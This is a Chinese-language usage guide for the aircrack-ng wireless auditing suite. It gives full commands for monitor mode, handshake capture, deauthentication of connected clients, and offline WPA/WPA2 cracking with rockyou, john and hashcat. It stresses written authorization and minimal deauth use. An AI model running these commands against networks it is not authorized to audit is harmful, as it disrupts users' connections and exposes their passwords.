用途
aircrack-ng 是一套用于 802.11 无线网络安全审计的参考工具套件。它能够以监听模式捕获无线帧、提取 WPA/WPA2 四次握手,并对捕获到的握手包执行离线字典攻击。资料明确指出,该套件必须仅用于自己拥有或已获得书面许可进行审计的网络,捕获或破解他人 Wi-Fi 属于违法行为。
主要组件与能力
套件包含四个主要工具:airmon-ng 用于开启监听模式,airodump-ng 用于抓包,aireplay-ng 用于注入与去认证,aircrack-ng 用于离线破解。aircrack-ng 针对的是 WPA/WPA2-PSK,资料明确说明 WPA3 SAE 不受经典离线握手攻击影响。
使用方式
步骤一:将网卡置于监听模式
先查看支持监听模式与注入的网卡:
sudo airmon-ng
终止会干扰监听模式的进程:
sudo airmon-ng check kill
开启监听模式(wlan0 变为 wlan0mon):
sudo airmon-ng start wlan0
验证:
iw dev wlan0mon info | grep type
应显示 type monitor。
步骤二:扫描附近网络
sudo airodump-ng wlan0mon
输出列包含 BSSID、PWR、Beacons、#Data、CH、ENC、CIPHER、AUTH、ESSID,记下目标网络的 BSSID 与信道。
也可按信道和 BSSID 过滤:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
-w handshake 表示写出以 handshake 为前缀的 pcap 文件,保持运行以记录连接到 AP 的客户端。
步骤三:捕获 WPA 握手
被动方式:等待客户端认证,捕获成功时 airodump 右上角会显示 WPA handshake: AA:BB:CC:DD:EE:FF。
主动方式:对已连接的客户端去认证以强制重连(仅在自有或已授权网络上使用):
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
-a 为 AP BSSID,-c 为客户端 MAC,5 个去认证包通常足够,不要泛洪。
确认抓包中包含握手:
aircrack-ng handshake-01.cap
目标 BSSID 旁应出现 1 handshake。
步骤四:离线破解握手
使用 rockyou 字典攻击:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap
使用规则变换的字典(经由 john):
john --wordlist=rockyou.txt --rules=KoreLogic --stdout \
| aircrack-ng -w - -b AA:BB:CC:DD:EE:FF handshake-01.cap
转换为 hashcat 格式以进行 GPU 破解(快得多):
hcxpcapngtool -o hash.hc22000 handshake-01.cap
hashcat -m 22000 hash.hc22000 rockyou.txt
步骤五:清理
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
iw dev
应显示 wlan0 恢复为管理模式。
示例
示例一:审计自有家庭网络
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
# 看到自家 SSID 后按 Ctrl+C
mkdir -p ~/audit && cd ~/audit
sudo airodump-ng -c 6 --bssid CC:CC:CC:CC:CC:CC -w home wlan0mon &
# 让设备重新连接以自然产生握手
# 看到头部出现 "WPA handshake" 后停止 airodump
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b CC:CC:CC:CC:CC:CC home-01.cap
# 若很快破解 → 说明口令弱,应更换
sudo airmon-ng stop wlan0mon
示例二:使用 Hashcat 进行 GPU 加速破解
sudo apt install hcxtools
hcxpcapngtool -o corporate.hc22000 corporate-01.cap
cat corporate.hc22000 | head
hashcat -m 22000 corporate.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--status --status-timer=10
hashcat -m 22000 corporate.hc22000 --show
适用场景
适用于对自有或已获书面授权审计的无线网络进行安全检查,例如评估自家网络口令强度、在授权范围内执行无线安全测试。
限制与注意事项
- 书面授权是强制要求,捕获或破解他人 Wi-Fi 属于犯罪。
- 并非所有网卡都支持监听模式与注入,经过验证的芯片组包括 Atheros AR9271、Ralink RT3070、MediaTek MT7612U、Realtek RTL8812AU。
- 应先执行
airmon-ng check kill,否则 NetworkManager 会争夺网卡控制权。 - 去认证攻击噪声大且具破坏性,应使用最小数量(--deauth 3-5)并针对单个客户端,绝不能使用广播地址。
- 离线破解只需要 WPA 四次握手,过长时间的抓包会浪费磁盘空间。
- 对现代网络,建议将抓包转换为 .hc22000 并使用 hashcat 在 GPU 上破解,CPU 版 aircrack-ng 慢一个数量级。
- WPA3 SAE 不受经典离线握手攻击影响,aircrack-ng 面向 WPA/WPA2-PSK。
- 审计结束后应关闭监听模式,避免主机在日常使用中泄漏帧。